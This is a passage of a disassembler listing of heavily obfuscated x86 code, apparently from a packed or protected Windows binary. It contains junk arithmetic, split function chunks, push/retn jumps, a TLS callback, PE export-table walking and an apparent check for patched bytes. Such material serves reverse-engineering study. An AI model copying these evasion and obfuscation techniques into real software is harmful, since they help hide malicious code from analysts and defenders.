loc_4212A4: ; CODE XREF: sub_42A277-5A81j
add eax, 0F47D17CBh
xchg eax, [esp+0]
jmp loc_424089
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
rol edx, 4
jmp loc_423092
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4212BA: ; CODE XREF: sub_422EB0:loc_4255F6j
jz loc_428149
jmp loc_427ACD
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4212C5: ; CODE XREF: sub_423324+3E46j
; sub_4294B3:loc_4296B1j
push 0FB4803D1h
pop eax
sub eax, 1A296BE0h
or eax, 0CEE619CBh
jmp loc_429640
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421126
loc_4212DC: ; CODE XREF: sub_421126+16j
xor edx, 86CF3E4h
call sub_4239A5
push eax
ror eax, 19h
call sub_42A4DC
; END OF FUNCTION CHUNK FOR sub_421126
; START OF FUNCTION CHUNK FOR sub_4227F5
loc_4212F0: ; CODE XREF: sub_4227F5+3j
jmp loc_424566
; END OF FUNCTION CHUNK FOR sub_4227F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_4212F5: ; CODE XREF: sub_42C0BC:loc_42C588j
pop ebx
sub ebx, 0EA4325Ch
xor ebx, 0A0FF8473h
add ebx, 3267451Ah
xchg ebx, [esp-4+arg_0]
jmp loc_429D30
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_421310: ; CODE XREF: sub_422FDC:loc_428BA1j
push offset sub_4225A5
jmp nullsub_220
; END OF FUNCTION CHUNK FOR sub_422FDC
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42131B proc near ; DATA XREF: sub_423324-1C1Bo
; _94j21ax3:00427284o
var_2D0 = dword ptr -2D0h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00424C06 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042B14D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042C2CD SIZE 00000015 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFD38h
lea eax, [ebp+var_C]
push eax
mov eax, [ebp+arg_0]
jmp loc_42C2CD
sub_42131B endp
; =============== S U B R O U T I N E =======================================
sub_421330 proc near ; DATA XREF: sub_424EFA+1FAFo
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004227F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004269B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004279D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00429126 SIZE 00000006 BYTES
push 1C876E3Ch
pop eax
xor eax, 0D536D5C2h
add eax, ebp
add eax, 364E43FAh
mov eax, [eax]
jmp loc_4269B1
sub_421330 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42134B proc near ; CODE XREF: sub_421D33+24C3j
; FUNCTION CHUNK AT 00421A0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00421D73 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00422582 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042742B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428081 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004292C0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042964A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429BF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AD19 SIZE 0000001A BYTES
add esp, 0FFFFFFE0h
jmp loc_42964A
sub_42134B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A33
loc_421353: ; CODE XREF: sub_423A33:loc_424330j
ror eax, 1Ch
mov ds:dword_42C214, eax
retn
; END OF FUNCTION CHUNK FOR sub_423A33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425539
loc_42135D: ; CODE XREF: sub_425539+1j
jmp loc_4290EA
; END OF FUNCTION CHUNK FOR sub_425539
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421A4F
loc_421362: ; CODE XREF: sub_423A33+8j
; sub_421A4F+49CBj
rol eax, 1Ch
push eax
call sub_423F43
retn
; END OF FUNCTION CHUNK FOR sub_421A4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427E13
loc_42136C: ; CODE XREF: sub_427E13:loc_421E1Ej
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_427E13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BEDC
loc_421370: ; CODE XREF: sub_42BEDC-381Bj
jmp nullsub_178
; END OF FUNCTION CHUNK FOR sub_42BEDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_421375: ; CODE XREF: sub_4221B8+4C50j
jmp nullsub_167
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4216D0
loc_42137A: ; CODE XREF: sub_4216D0+AE56j
push 5F44D1FEh
mov eax, offset sub_421388
xchg eax, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_4216D0
; =============== S U B R O U T I N E =======================================
sub_421388 proc near ; DATA XREF: sub_4216D0-351o
; FUNCTION CHUNK AT 004239CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425B22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B34 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B0E6 SIZE 0000001B BYTES
and eax, 1053EF80h
jmp loc_4239CE
sub_421388 endp
; =============== S U B R O U T I N E =======================================
sub_421393 proc near ; DATA XREF: _94j21ax3:004288A0o
; FUNCTION CHUNK AT 00424FBD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042BA85 SIZE 00000005 BYTES
pushf
push 52713D1Fh
pop edx
and edx, 89DA84ECh
rol edx, 1Fh
jmp loc_42BA85
sub_421393 endp
; =============== S U B R O U T I N E =======================================
sub_4213A8 proc near ; CODE XREF: _94j21ax3:00426A6Bj
; _94j21ax3:loc_428CBFp
; FUNCTION CHUNK AT 00424A64 SIZE 0000000A BYTES
mov [esp+0], ecx
pop ecx
push ecx
mov [esp+0], ebx
or edx, 0F84237DBh
sub edx, ecx
jmp loc_424A64
sub_4213A8 endp
; ---------------------------------------------------------------------------
mov ecx, [edx]
jmp loc_42817A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB0D
loc_4213C4: ; CODE XREF: sub_42BB0D:loc_424084j
rol edx, 11h
xor edx, 305CFBB8h
xchg edx, [esp+0]
pushf
push offset sub_428C49
jmp loc_42AA2B
; END OF FUNCTION CHUNK FOR sub_42BB0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42220B
loc_4213DB: ; CODE XREF: sub_42220B+Dj
push edx
xchg ebx, edx
push 0DDAD4766h
pop ebx
sub ebx, 68C27E75h
jnz loc_427F67
mov ebp, [ecx]
jmp loc_42B101
; END OF FUNCTION CHUNK FOR sub_42220B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4213F7: ; CODE XREF: sub_422EB0:loc_4295E8j
cmp edi, 73C2E5F5h
jmp loc_425610
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_421402 proc near ; DATA XREF: sub_4210C7+6o
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421216 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004214BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421CD6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421FC9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004226D5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042280A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004229C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423794 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004237D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004244D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042501E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004257B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004264DC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004278C4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00427FC4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004282E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283EC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004284D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042885D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FB3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004293E5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A59D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A8FD SIZE 0000001C BYTES
push edi
push 46DDD122h
mov edi, offset loc_421411
xchg edi, [esp+10h+var_10]
locret_421410: ; CODE XREF: _94j21ax3:0042647Aj
retn
; ---------------------------------------------------------------------------
loc_421411: ; DATA XREF: sub_421402+6o
xor edi, 46DDD123h
jmp loc_42501E
; ---------------------------------------------------------------------------
loc_42141C: ; CODE XREF: _94j21ax3:004228DCj
jno sub_424475
loc_421422: ; CODE XREF: _94j21ax3:loc_42A9CBj
push ebx
push 120F4D79h
pop ebx
jmp loc_421FC9
; ---------------------------------------------------------------------------
xchg edi, ebx
jmp sub_4268C1
; ---------------------------------------------------------------------------
loc_421435: ; DATA XREF: sub_429EDB+9A0o
add eax, ebp
add eax, 59D3879Bh
mov eax, [eax]
push ebp
mov [esp+0], eax
call sub_429BE2
jmp loc_4244D6
; ---------------------------------------------------------------------------
push 5B49B643h
jmp loc_42A59D
sub_421402 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421457 proc near ; CODE XREF: _94j21ax3:004232B1j
; sub_423EAE+3EE2p
; FUNCTION CHUNK AT 00426AD2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B40 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004295BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A4D2 SIZE 0000000A BYTES
xchg edi, [esp+0]
pop edi
pop ebp
push 6BEF18E9h
pop eax
or eax, 5E9CCCDDh
add eax, 8042570Fh
mov eax, [eax]
jmp loc_426AD2
sub_421457 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
test ebp, 662B2074h
jmp loc_4281FF
; =============== S U B R O U T I N E =======================================
sub_421480 proc near ; CODE XREF: sub_42921C+3j
; FUNCTION CHUNK AT 00421ADC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00423F23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425267 SIZE 00000005 BYTES
add esp, 0FFFFFFF4h
mov [ebp-8], eax
add edx, ebx
rol edx, 5
xor edx, ecx
jmp loc_423F23
sub_421480 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_421492: ; CODE XREF: sub_4281A5:loc_42C3D1j
mov ecx, [ebx+ecx+78h]
or ecx, ecx
jz loc_424A79
mov ecx, [ebx+ecx+0Ch]
or ecx, ecx
jz loc_424A79
call sub_4269EC
jnz loc_424A79
jmp loc_425527
; END OF FUNCTION CHUNK FOR sub_4281A5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4214BB: ; CODE XREF: sub_421402+50E8j
jmp loc_4278C4
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4214C0: ; CODE XREF: sub_42284F:loc_42BAB7j
cmp esi, ebp
jmp loc_42A6CD
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_4214C7: ; CODE XREF: sub_42C24F:loc_4280EBj
jnz loc_426C46
jmp loc_42C53C
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
ror esi, 1Fh
jmp sub_42A852
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4247D2
loc_4214DB: ; CODE XREF: sub_4247D2+7j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_4247D2
; ---------------------------------------------------------------------------
loc_4214E0: ; CODE XREF: _94j21ax3:00424F6Fj
add ebx, 0D612A9AAh
; =============== S U B R O U T I N E =======================================
sub_4214E6 proc near ; CODE XREF: sub_423081+64FFp
; FUNCTION CHUNK AT 0042294D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004290DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B27B SIZE 0000000F BYTES
mov [esp+0], esi
pop esi
xor edx, 7EC091FAh
add eax, edx
pop edx
jmp loc_42294D
sub_4214E6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427004
loc_4214F8: ; CODE XREF: sub_427004+18j
push ecx
push 84851F46h
pop ecx
and ecx, 0B4B1459h
sub ecx, 1BECF9C8h
jb loc_427D42
mov ebx, esi
jmp loc_427D34
; END OF FUNCTION CHUNK FOR sub_427004
; ---------------------------------------------------------------------------
loc_421518: ; DATA XREF: sub_4257BC:loc_428593o
lea eax, [ebp-70h]
push eax
push offset sub_4225D9
jmp loc_4256E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421526: ; CODE XREF: sub_42284F:loc_4258D6j
push 0D5B3FF3Bh
pop esi
sub esi, 6D4E549Ch
rol esi, 18h
jmp loc_421F1C
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_42153A: ; CODE XREF: sub_42AA5F:loc_4251DEj
push ecx
mov esp, ebp
call sub_42C03F
loc_421542: ; CODE XREF: sub_42B856-2B57j
jmp loc_4286A0
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_421547: ; CODE XREF: sub_4272E9:loc_42126Cj
pop ebp
mov eax, ds:dword_424090
call sub_4276A3
loc_421553: ; CODE XREF: _94j21ax3:0042C144j
jmp loc_422522
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_421558 proc near ; CODE XREF: _94j21ax3:0042296Aj
; sub_421822:loc_423ED8p
; FUNCTION CHUNK AT 00428FAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429792 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042AA50 SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
call sub_42574E
mov edx, 20413B0Fh
push edi
push 79BDEB97h
pop edi
or edi, 8D3F4FEDh
jmp loc_428FAE
sub_421558 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421578 proc near ; CODE XREF: sub_426D61j
; DATA XREF: sub_423614+3743o
mov [ebp-20h], eax
sub_421578 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42157B: ; CODE XREF: sub_421D33+704Ej
jmp loc_422E3E
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_421580: ; CODE XREF: sub_423614:loc_426D3Dj
test byte ptr [ebp-8], 2
jz loc_42B511
push ebp
mov eax, [ebp-20h]
call sub_429862
pop ecx
jmp loc_42B50E
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421599: ; CODE XREF: sub_42284F+5917j
shl ecx, 12h
jno loc_42C03A
adc esi, 0BCFA3EDEh
jb loc_422F9E
jmp loc_423572
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_4215B3: ; CODE XREF: sub_425790+16j
mov eax, [eax]
or eax, eax
jnz loc_4225F9
push offset loc_4267F2
jmp loc_422C6C
; END OF FUNCTION CHUNK FOR sub_425790
; ---------------------------------------------------------------------------
mov edx, 6FDE1A91h
push eax
push 380AD42Dh
pop eax
sub eax, 0EA574FA8h
cmp eax, 0C0569062h
jmp loc_429DC7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD03
loc_4215E5: ; CODE XREF: sub_42BD03+Ej
jmp loc_423201
; END OF FUNCTION CHUNK FOR sub_42BD03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_4215EA: ; CODE XREF: sub_42AA5F+835j
jmp loc_425A03
; END OF FUNCTION CHUNK FOR sub_42AA5F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4276A3
loc_4215F0: ; CODE XREF: sub_4276A3+Cj
jmp loc_427EB3
; END OF FUNCTION CHUNK FOR sub_4276A3
; ---------------------------------------------------------------------------
loc_4215F5: ; DATA XREF: sub_42194B+7o
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4215F9 proc near ; CODE XREF: sub_42306C+7p
; sub_428EBB+15p ...
jnb sub_42BFAD
call sub_42B03C
loc_421604: ; CODE XREF: _94j21ax3:0042A48Bp
push ebp
mov ebp, esp
call sub_429280
loc_42160C: ; CODE XREF: sub_4287BF-53Cj
jmp sub_42BAC2
sub_4215F9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_421611: ; CODE XREF: sub_42169F+A14Bj
add edx, eax
jmp loc_42668B
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_421618: ; CODE XREF: sub_42A0CC+17B4j
shr esi, 7
or edi, 90236577h
mov ebx, 0D5EC0A0Dh
and ecx, edx
jmp loc_42356D
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42162D: ; CODE XREF: sub_423F55+6619j
push 0
push 10h
mov eax, [ebp+8]
pushf
mov [esp+0Ch+var_C], eax
push ecx
push 8CDBA6A2h
pop ecx
jmp loc_42845E
; END OF FUNCTION CHUNK FOR sub_423F55
; =============== S U B R O U T I N E =======================================
sub_421644 proc near ; CODE XREF: sub_42284F:loc_423028p
; _94j21ax3:00429665j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 004218F0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425600 SIZE 00000005 BYTES
xchg esi, [esp+0]
pop esi
loc_421648: ; CODE XREF: _94j21ax3:00429A3Aj
push 0
push 0
push 24046234h
jmp loc_4218F0
sub_421644 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421656 proc near ; CODE XREF: sub_427344:loc_425551j
; FUNCTION CHUNK AT 0042517F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425AEA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426F8C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428468 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428ADA SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042AD03 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042ADE3 SIZE 00000005 BYTES
add esp, 0FFFFFFECh
cmp ds:byte_426F58, 0
jnz loc_428468
lea edx, [ebp-14h]
jmp loc_42517F
sub_421656 endp
; =============== S U B R O U T I N E =======================================
sub_42166E proc near ; CODE XREF: sub_423324+20p
; _94j21ax3:00425677j
mov [esp+0], edx
pop edx
add esp, 4
mov eax, 52h
call sub_425A09
jmp TlsCallback_0
sub_42166E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp loc_42C0AC
; =============== S U B R O U T I N E =======================================
sub_421689 proc near ; CODE XREF: sub_42169F:loc_424C9Dp
; sub_4271F1:loc_4271F8j
; FUNCTION CHUNK AT 00421714 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00421D09 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00422633 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004232EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004236F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423D80 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424955 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004257AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042645F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004267AE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042688B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427C30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427ED6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428C85 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042A18D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A2F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A473 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042B1E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BC0C SIZE 0000000B BYTES
push ebp
jmp loc_428C85
sub_421689 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42168F: ; CODE XREF: sub_428BBD-3B29j
jns loc_42AC60
xchg esi, [edi]
mov ebx, [ecx]
pushf
jmp loc_42526C
; END OF FUNCTION CHUNK FOR sub_428BBD
; =============== S U B R O U T I N E =======================================
sub_42169F proc near ; CODE XREF: sub_42284F+2474p
; _94j21ax3:004292BBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 00421611 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00421A1C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00422D86 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00423674 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E0F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004243BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004245E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424A42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042535F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426485 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042668B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042669A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004268AF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004269CB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427124 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042715B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004273E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427DAC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004280FB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428C36 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042910E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042912F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429493 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042A6A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AC87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B647 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042B7E4 SIZE 0000000B BYTES
mov [esp+0], edx
pop edx
xchg ecx, [esp-4+arg_0]
mov edx, ecx
pop ecx
jmp loc_4245E3
sub_42169F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4238D1
loc_4216AE: ; CODE XREF: sub_4238D1+7468j
; DATA XREF: sub_425983+2273o
mov ecx, [ebx+ecx+0Ch]
push offset sub_42AC2D
jmp nullsub_216
; END OF FUNCTION CHUNK FOR sub_4238D1
; ---------------------------------------------------------------------------
loc_4216BC: ; DATA XREF: _94j21ax3:004293A1o
add ecx, 0CA7635EFh
xchg ecx, [esp]
jmp sub_42463C
; ---------------------------------------------------------------------------
loc_4216CA: ; CODE XREF: _94j21ax3:00426D28j
jnb loc_421B64
; =============== S U B R O U T I N E =======================================
sub_4216D0 proc near ; CODE XREF: sub_428A90+9p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042116C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042137A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042366E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429118 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C51A SIZE 00000017 BYTES
xchg ebx, [esp+0]
pop ebx
xor edx, ebp
rol edx, 5
jmp loc_429118
sub_4216D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421013
loc_4216DE: ; CODE XREF: sub_421013:loc_429645j
mov [ebp-4], eax
call sub_42BD03
loc_4216E6: ; CODE XREF: sub_427D65-5F04j
jmp loc_424B0B
; END OF FUNCTION CHUNK FOR sub_421013
; ---------------------------------------------------------------------------
loc_4216EB: ; CODE XREF: _94j21ax3:loc_424369j
mov ds:dword_422264, eax
push 0
jmp loc_426CB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4216F7: ; CODE XREF: sub_423324:loc_421933j
call sub_42C057
test al, al
jz loc_423950
call sub_422973
lea eax, sub_42131B
jmp loc_429032
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_421714: ; CODE XREF: sub_421689+520Cj
sbb edi, ebp
loc_421716: ; CODE XREF: sub_421689:loc_4232EAj
mov eax, [ebp-4]
mov eax, [eax]
and eax, 0FFFFFFh
cmp eax, 0C3C033h
jnz loc_421D09
jmp loc_427C30
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
loc_421730: ; CODE XREF: _94j21ax3:00423B45j
jz loc_42AB85
jmp loc_42479D
; ---------------------------------------------------------------------------
loc_42173B: ; DATA XREF: sub_421DC4+6B56o
test eax, eax
jl loc_423F37
inc eax
mov [ebp-24h], eax
jmp loc_42BBEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4250F7
loc_42174C: ; CODE XREF: sub_4250F7+4C54j
; sub_4250F7:loc_429DDCj
call sub_42574E
mov edx, 0CB804A30h
call sub_4239A5
push eax
ror eax, 0Bh
mov ds:dword_42C4A8, eax
jmp loc_428264
; END OF FUNCTION CHUNK FOR sub_4250F7
; ---------------------------------------------------------------------------
loc_42176A: ; CODE XREF: _94j21ax3:loc_42A224j
mov ebp, esp
push offset sub_424627
jmp locret_42C130
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421776: ; CODE XREF: sub_42284F:loc_424354j
; _94j21ax3:0042437Dj
add eax, 2AEB07F5h
add eax, ebp
call sub_428811
; END OF FUNCTION CHUNK FOR sub_42284F
; START OF FUNCTION CHUNK FOR sub_4226AE
loc_421783: ; CODE XREF: sub_4226AE+13j
jmp loc_42AF53
; END OF FUNCTION CHUNK FOR sub_4226AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42266A
loc_421789: ; CODE XREF: sub_42266A+50Fj
jmp loc_428E3E
; END OF FUNCTION CHUNK FOR sub_42266A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_42178F: ; CODE XREF: sub_42C1AE-12E0j
jmp loc_4210EF
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423B78
loc_421794: ; CODE XREF: sub_423B78-97Cj
jmp loc_424DDC
; END OF FUNCTION CHUNK FOR sub_423B78
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421799 proc near ; CODE XREF: sub_421ABD+12p
; sub_422DF2:loc_42A104p
push ebp
mov ebp, esp
jmp sub_4236E2
sub_421799 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
